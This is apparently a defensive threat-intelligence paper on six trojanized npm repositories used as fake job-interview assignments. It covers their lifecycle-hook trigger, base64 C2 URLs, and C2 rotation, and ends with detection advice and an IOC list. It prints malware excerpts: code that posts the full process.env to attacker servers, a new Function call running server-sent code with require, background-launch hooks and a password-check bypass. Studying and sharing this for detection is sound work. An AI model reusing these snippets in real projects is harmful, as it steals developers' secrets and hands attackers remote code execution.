Abstract
This paper presents a comparative static analysis of six trojanized npm repositories linked to the "Contagious Interview" campaign, a sustained operation targeting software engineers through fabricated job offers. Each repository was submitted independently to the RTIdx platform and analyzed using rule-based static scanning without code execution.
All six specimens received a MALICIOUS verdict with risk scores ranging from ~150 to ~180 (threshold: 81+). The analysis reveals a shared malware framework with three invariant components: (1) automatic execution via npm lifecycle hooks, (2) full process.env exfiltration to attacker-controlled Command & Control servers, and (3) Remote Code Execution through dynamic function construction. Despite this technical uniformity, the campaign employs diverse social engineering "skins" ranging from DeFi platforms to World Cup NFT games, suggesting a deliberate strategy to target different developer personas.
The findings have implications for software supply chain security, recruitment practices in the tech industry, and the development of automated malware detection heuristics.
1. Introduction
The software developer hiring pipeline has become a viable attack vector. In the "Contagious Interview" campaign, threat actors approach candidates through LinkedIn, Telegram, or freelance platforms with lucrative job offers, then provide a GitHub or Bitbucket repository as a "technical assignment." The repository appears to be a legitimate full-stack application, complete with documentation, dependencies, and a working UI, but contains hidden malware payloads that activate during standard development workflows.
This attack is effective because it exploits implicit trust in code review contexts. Developers evaluating a project will naturally run npm install followed by npm run dev, inadvertently triggering lifecycle hooks that start a hidden exfiltration and Remote Code Execution (RCE) chain. By the time the developer sees the application running normally in their browser, their AWS keys, Stripe secrets, OpenAI tokens, and cryptocurrency wallet credentials have already been sent to the attacker.
This research analyzes six repositories independently submitted to the RTIdx platform between March and April 2026:
| Repository | Cover Story | RTIdx Score | C2 Domain |
|---|---|---|---|
| DLabs-Platform-MVP2 | Web3 Poker / Staking Platform | ~180 | ip-checking-notification-j2.vercel.app |
| OnyxVerse | AI Gaming Ecosystem | ~175 | ipcheck-royal.vercel.app |
| AmonixPlay | Decentralized Gaming Platform | ~165 | ipcheck-six.vercel.app (+ 5 rotated) |
| DeFi-Estate | Property Tokenization DeFi | ~165 | locate-my-ip.vercel.app |
| Japanese-Royal | Pulsar Dashboard / Next.js | ~160 | ipcheck-royal.vercel.app |
| WC-Fantasy | World Cup 2026 NFT Game | ~150 | locate-my-ip.vercel.app |
The median risk score across all samples is 165, with a confidence level of 0.95–0.98, indicating high certainty in the classification.
2. Methodology
Each repository was analyzed using the RTIdx static scanner, a rule-based engine that inspects source code, configuration files, dependency manifests, and git history without executing any code. The scanner applies 50+ detection patterns organized into severity tiers:
- Critical: Remote Code Execution, credential exfiltration, known malicious code patterns
- High: Lifecycle hook abuse, authentication bypasses, cross-platform background execution
- Medium: Suspicious dependencies, wallet harvesting, planted credential bait
- Low: Social engineering artifacts, README polish, hardcoded demo credentials
Each triggered pattern contributes a weighted score. The final risk score determines the verdict:
- 0–40: Clean
- 41–80: Suspicious (analyst review required)
- 81+: Malicious
For this study, we additionally performed manual cross-repository comparison to identify shared code lineage, C2 infrastructure evolution, and operator fingerprints across all six specimens. Git history analysis revealed C2 URL rotation patterns and contributor alias networks.
3. The Kill Chain: How the Attack Works
Despite variations in implementation detail, all six repositories follow the same five-stage kill chain:
Stage 1: Automatic Trigger
The attack begins the moment the victim runs npm install. In five out of six samples, the prepare lifecycle hook in package.json starts the malicious server automatically. The WC-Fantasy variant uses import-time auto-execution instead, triggering when the dev server loads the backend routes.
The prepare hook is particularly insidious because npm executes it silently after dependency installation; there is no warning, no confirmation dialog, and no visual indicator that server-side code is running. The AmonixPlay and OnyxVerse variants go further with cross-platform execution: start /b node server || nohup node server &, ensuring the malware runs in the background on both Windows and Unix systems.
In DLabs, Japanese-Royal, and DeFi-Estate, the operators also wired every npm script (start, build, test, lint) to trigger the malicious server via pipes or concurrently, ensuring no development command is safe.
Stage 2: C2 URL Decoding
The Command & Control server URL is stored as a base64-encoded string, disguised as an authentication token or API key. Five variants use atob() for decoding; DeFi-Estate uses Buffer.from(s, "base64") functionally identical but potentially evasive against pattern matchers targeting only atob.
The encoded URLs are placed in files where reviewers are unlikely to look closely: .env files (variable name AUTH_API), mock data modules (mock/users.js), or deeply nested controller files (leaderboardController.js at line 223). The variable naming convention specifically AUTH_API, messageToken, parseToken, deliberately mimics legitimate authentication code.
Stage 3: Environment Exfiltration
The core theft mechanism is remarkably consistent across all samples. A function named verify() sends the entire process.env object to the C2 server via an HTTP POST request:
const verify = (api) =>
axios.post(api, { ...process.env }, {
headers: { "x-secret-header": "secret" }
});The {...process.env} spread operator captures everything: AWS access keys, Stripe secret keys, OpenAI API tokens, database connection strings, cryptocurrency wallet seeds, Infura and Alchemy blockchain node credentials, and any other secret the developer has configured. In the planted .env files, the operators include realistic-looking demo keys for 12+ services, encouraging victims to replace them with real credentials.
The HTTP header (x-secret-header or x-app-request) serves as a campaign marker, allowing the C2 server to distinguish exfiltration requests from legitimate traffic.
Stage 4: Remote Code Execution
After exfiltration, the C2 server responds with a JavaScript payload that is immediately executed on the victim's machine:
const executor = new Function("require", response.data);
executor(require);This is functionally equivalent to eval() but harder to detect with simple string matching. The WC-Fantasy and DeFi-Estate variants use Function.constructor instead of new Function(), a minor obfuscation that bypasses some static analysis tools. The WC-Fantasy variant additionally uses createRequire(import.meta.url) to bridge ESM and CommonJS, ensuring the injected payload has full access to Node.js built-in modules (child_process, fs, net, os).
The injected require parameter is the critical capability amplifier: it gives the remote payload the ability to spawn processes, read the filesystem, make network connections, and effectively do anything the developer's user account can do.
Stage 5: Persistence & Secondary Objectives
Several variants implement additional attack surfaces beyond the core exfiltration/RCE chain:
- Authentication bypass (DLabs, Japanese-Royal, OnyxVerse, AmonixPlay):
const isMatch = truereplacesbcrypt.compare(), allowing any password to authenticate. This keeps the application functional so victims don't investigate failures. - Wallet harvesting (DLabs, OnyxVerse, DeFi-Estate): MetaMask integration via
window.ethereum.request()collects blockchain wallet addresses. Combined with the RCE payload, these addresses become targets for cryptocurrency theft. - Financial data endpoints (DeFi-Estate): POST endpoints for credit card and bank account data (
/cards,/banks), structurally ready for credential phishing. - Smart contract rug capability (DeFi-Estate): An ERC-1155 contract with admin-only withdrawal functions and free-mint bypasses for admin roles.
4. C2 Infrastructure and Operational Evolution
All Command & Control servers are hosted on Vercel's free tier, a deliberate choice that provides legitimate SSL certificates, global CDN distribution, and zero hosting cost. The serverless architecture also means each endpoint can be deployed and torn down in seconds, complicating takedown efforts.
We identified three distinct C2 domain clusters:
Cluster A (Original DLabs): ip-checking-notification-j2.vercel.app/api
Cluster B (Japanese-Royal / OnyxVerse shared): ipcheck-royal.vercel.app/api
Cluster C (WC-Fantasy / DeFi-Estate shared): locate-my-ip.vercel.app/api/ip-check-encrypted/{id}
The AmonixPlay specimen provides the clearest view into operational tempo. Git history analysis revealed six different C2 endpoints rotated between September 2025 and January 2026 by at least four different contributor aliases:
| Date | Alias | C2 Domain |
|---|---|---|
| 2025-09-14 | coin | astrahub.vercel.app |
| 2025-09-16 | coin | rgg-vercel.vercel.app |
| 2025-11-05 | Mann-004 | test-g-acs.vercel.app |
| 2025-11-15 | lxin6793-dot | ipcheck-six.vercel.app |
| 2025-11-30 | aaronhirotobm-lgtm | ip-checking-notification-pic.vercel.app |
| 2025-12-21 | Cherik | ake-test.vercel.app |
This rotation pattern, combined with the use of multiple aliases sharing single email addresses (e.g., VladimirSimic2024 and sparkdev0917 both using webvlada2024@gmail.com), suggests a coordinated operator group rather than a lone actor.
5. Social Engineering: Different Skins, Same Engine
The campaign's most striking feature is its brand diversity. Each repository is a fully realized project with its own identity, documentation, and tech stack:
- DLabs-Platform-MVP2: "SpaceXView MetaVerse", Web3 poker and staking platform with Socket.IO multiplayer, MongoDB, and the "GGLab Poker" brand. Uses React (CRA) + Express.
- OnyxVerse: "Solidus AITech" - AI-powered gaming ecosystem with elaborate badges, contributing guidelines, and a confidentiality notice. React + Express + ethers.js.
- AmonixPlay: "Decentralized AI-Powered Multi-Chain Gaming" - Play-to-Earn poker forked from an open-source project (273 of 321 commits by
nicolas), providing genuine game logic as cover. - Japanese-Royal: "Pulsar Dashboard" - The only non-crypto skin; a Next.js 13 admin dashboard with a poker backend. Targets developers who wouldn't normally engage with Web3 projects.
- WC-Fantasy: "WC NFT Fantasy" - World Cup 2026 NFT prediction game on Polygon with Chainlink VRF, RainbowKit, and SportMonks API integration. The most topical skin, leveraging 2026 World Cup hype.
- DeFi-Estate: "DeFi Real Estate" - Property tokenization platform with ERC-1155 smart contracts, wallet gating, and card/bank data collection. The most layered attack surface.
This variety serves a strategic purpose: each skin targets a different developer persona. A React developer might ignore a Solidity project but engage with a Next.js dashboard. A Web3 engineer might skip a plain CRUD app but jump at a DeFi platform with real smart contracts. The operator is casting a wide net with specialized lures.
The READMEs are polished. Some include fake badges, architecture diagrams, and setup instructions that walk the victim through npm install → npm run dev, directly into the kill chain. The OnyxVerse README even includes a "Confidentiality" section claiming proprietary ownership by a fictional company, adding social pressure not to share or scrutinize the code.
6. Cross-Repository Technical Comparison
The following matrix summarizes the presence of key malware indicators across all six specimens:
| Indicator | DLabs | JP-Royal | Onyx | AmonixPlay | WC-Fantasy | DeFi-Estate |
|---|---|---|---|---|---|---|
| RCE (new Function / Func.constructor) | new Function | new Function | new Function | new Function | Func.ctr | Func.ctr |
| process.env exfiltration | Yes | Yes | Yes | Yes | Yes | Yes |
| Base64 C2 URL | atob | atob | atob | atob | atob | Buffer.from |
| Vercel-hosted C2 | Yes | Yes | Yes | Yes | Yes | Yes |
prepare lifecycle hook | Yes | Yes | Yes | Yes | - | Yes |
| All scripts wired | Yes | Partial | - | - | - | Yes |
isMatch = true backdoor | Yes | Yes | Yes | Yes | - | - |
| "GGLab API Documents" marker | Yes | Yes | Yes | Yes | - | - |
| loadEnv.js fingerprint | Yes | Yes | Yes | Yes | - | - |
| MetaMask / wallet harvesting | Yes | - | Yes | - | wagmi | wagmi |
| Cross-platform background exec | - | - | Yes | Yes | - | - |
Several evolutionary patterns emerge:
Template lineage. DLabs is the ancestral template. Japanese-Royal and OnyxVerse are direct descendants sharing the isMatch backdoor, GGLab marker, and loadEnv.js configuration loader. AmonixPlay is a close cousin, sharing the same code structure, but with aggressive C2 rotation added.
Branching evolution. WC-Fantasy and DeFi-Estate represent a new branch: they dropped the GGLab marker and isMatch backdoor, switched from new Function() to Function.constructor, and use a different C2 domain cluster. This suggests either a different operator within the same campaign or a deliberate template evolution to evade detection rules trained on the original DLabs patterns.
Increasing sophistication. Later variants show improvements: cross-platform hooks (AmonixPlay, OnyxVerse), ESM compatibility via createRequire (WC-Fantasy), smart contract rug capabilities (DeFi-Estate), and more aggressive script wiring where every npm command triggers the payload.
7. Detection Patterns and RTIdx Signal Scoring
The RTIdx scoring system assigns weighted points to each detected indicator. The score distribution across the six samples reveals which signals carry the most weight:
Universal high-value signals (present in 6/6 samples):
- Dynamic code execution (
new Function/Function.constructor): 35 points process.envexfiltration to external endpoint: 30 points- Lifecycle hook auto-execution: 30 points
- Campaign pattern fingerprint match: 25–35 points
These four signal categories alone sum to 120–130 points, which is already well above the 81-point malicious threshold. This means the detection framework can classify these samples correctly even if it misses all medium/low indicators.
Effective heuristic combinations. Our analysis suggests that the following two-signal combinations have near-zero false positive rates when both are present in the same package:
new Function()oreval()+process.envin an HTTP POST bodyprepare/postinstallhook starting a server + base64-encoded URL in source
Evasion vectors to monitor. The template evolution between DLabs and WC-Fantasy variants shows active evasion development:
new Function()→Function.constructor(bypasses string-match rules)atob()→Buffer.from(s, "base64")(different decoder function)- Removing static campaign markers (
GGLab,isMatch) from newer variants - Moving from
preparehooks to import-time auto-execution (harder to detect statically)
8. Discussion
The recruitment pipeline as an attack vector. Traditional supply chain attacks target published packages on npm, PyPI, or crates.io. The Contagious Interview campaign represents a different vector: private distribution through recruitment channels. The malicious repository never needs to pass npm's security scanning because it's shared directly via GitHub/Bitbucket URLs. The social context of a job interview creates urgency and trust that suppresses the victim's security instincts.
The cost asymmetry problem. The operator's cost per attack variant is remarkably low: fork a legitimate open-source project, inject ~50 lines of malware into an existing backend file, deploy a free Vercel endpoint, and write a plausible README. The AmonixPlay specimen demonstrates this: 273 of 321 commits came from a legitimate open-source poker game. The attacker needed only a handful of commits to weaponize it. Meanwhile, the victim's cost of compromise is catastrophic: leaked cloud credentials, stolen cryptocurrency, and potentially a backdoor into their employer's infrastructure.
Limitations of static analysis. Our analysis is purely static; we did not execute the C2 payloads or observe network traffic. This means we cannot characterize the second-stage payload delivered by the C2 servers. However, the consistency of indicators across six independent samples, combined with the 0.95–0.98 confidence scores, provides strong evidence for the classification. The new Function("require", response.data)(require) pattern leaves no ambiguity about intent: there is no legitimate use case for dynamically executing HTTP response bodies with full Node.js module access.
Implications for the broader ecosystem. The campaign targets developers specifically because they have access to production credentials, deployment pipelines, and organizational infrastructure. A single compromised developer workstation can provide lateral movement into cloud accounts, CI/CD systems, and customer data. Organizations should treat developer workstation security as a critical control point, not an afterthought.
9. Practical Recommendations
Based on our analysis, we recommend the following defensive measures:
For individual developers:
- Never run `npm install` on untrusted repositories on your primary machine. Use a disposable VM, container, or cloud development environment (GitHub Codespaces, Gitpod) for evaluating unknown code.
- Inspect `package.json` scripts before installing. Look for
prepare,postinstall,preinstallhooks that execute server code. The commandnpm install --ignore-scriptscan bypass hooks during initial review. - Check `.env` files committed to the repository. Legitimate projects rarely commit
.envfiles with API keys, even demo ones. A committed.envwith realistic-looking credentials is a red flag. - Search for `new Function`, `Function.constructor`, `eval`, and `atob`/`Buffer.from` in backend code. These are not inherently malicious, but their combination with HTTP calls and
process.envaccess is highly indicative.
For organizations:
- Implement a Recruitment Sandbox Policy. Mandate that all technical assignments from external sources are executed in isolated environments with no access to production credentials or internal networks.
- Add supply chain scanning to CI/CD. Tools should flag the combination of lifecycle hooks + dynamic code execution + outbound HTTP with environment variables.
- Brief your recruiting and engineering teams. Make them aware that coding tests can be weaponized. Share IOC lists from this and similar analyses.
- Monitor outbound traffic from developer workstations. Unexpected POST requests to Vercel endpoints containing environment variables should trigger alerts.
For the security community:
- Share IOCs aggressively. The C2 URLs, base64 patterns, and campaign markers identified in this analysis should be added to threat intelligence feeds.
- Develop behavioral heuristics, not just string matching. The evolution from
new Function()toFunction.constructorshows that string-based detection will always lag behind. Focus on behavioral patterns: "dynamically constructed function that receivesrequireas parameter and executes HTTP response data." - Engage Vercel and hosting providers. The campaign's reliance on free-tier serverless hosting creates an opportunity for platform-level detection and takedown.
10. Conclusion
The Contagious Interview campaign represents a mature, operationally sophisticated threat to the software development community. Our analysis of six independently submitted repositories reveals:
- A stable malware framework with three invariant components (lifecycle hook trigger → environment exfiltration → Remote Code Execution) that has been maintained and iterated across at least six deployments over a period of months.
- Active operational security including C2 URL rotation (6 endpoints in AmonixPlay alone), multi-alias contributor networks, free-tier disposable hosting, and progressive evasion of detection patterns.
- Deliberate persona targeting through diverse brand skins (Web3 gaming, DeFi, dashboards, NFTs) designed to appeal to different segments of the developer population.
- High detection confidence using static analysis alone: the combination of dynamic code execution + environment exfiltration + npm hook abuse produces scores of 150–180 against an 81-point threshold, with minimal false-positive risk.
The key insight for defenders is that the traditional advice of "don't click suspicious links" is insufficient in this context. Developers are running code, not clicking links, and the code looks legitimate at first glance. Defense requires a fundamental shift: treating any external code repository as untrusted by default, regardless of how professional it appears or what social context accompanies it.
We publish these findings to help developers, security teams, and hiring managers recognize and defend against this class of threat. All Indicators of Compromise are available on the individual RTIdx case pages linked below.
Appendix: Indicators of Compromise
C2 Server URLs (all Vercel-hosted):
https://ip-checking-notification-j2.vercel.app/apihttps://ipcheck-royal.vercel.app/apihttps://ipcheck-six.vercel.app/apihttps://ip-checking-notification-pic.vercel.app/apihttps://locate-my-ip.vercel.app/api/ip-check-encrypted/3aeb34a34https://locate-my-ip.vercel.app/api/ip-check-encrypted/3aeb34a39https://ake-test.vercel.app/api/datahttps://test-g-acs.vercel.app/api/datahttps://rgg-vercel.vercel.app/api/datahttps://astrahub.vercel.app/api/data
Code-level indicators:
new Function("require", response.data)ornew (Function.constructor)("require", ...)axios.post(url, { ...process.env })atob()orBuffer.from(s, "base64")decoding URLs from.envvariables namedAUTH_API"prepare": "node server..."or"prepare": "start /b node server || nohup node server &"const isMatch = truereplacingbcrypt.compare()- HTTP headers:
x-secret-header: secretorx-app-request: ip-check - Route response:
"GGLab API Documents"
Operator aliases (from git history):
- aaronhirotobm-lgtm
- coin
- Mann-004
- Cherik
- lxin6793-dot
- VladimirSimic2024 / sparkdev0917
Ethereum address linked to campaign: 0x776cF4AE3c6eead1349e5Cde7399aE1e37AFbA7c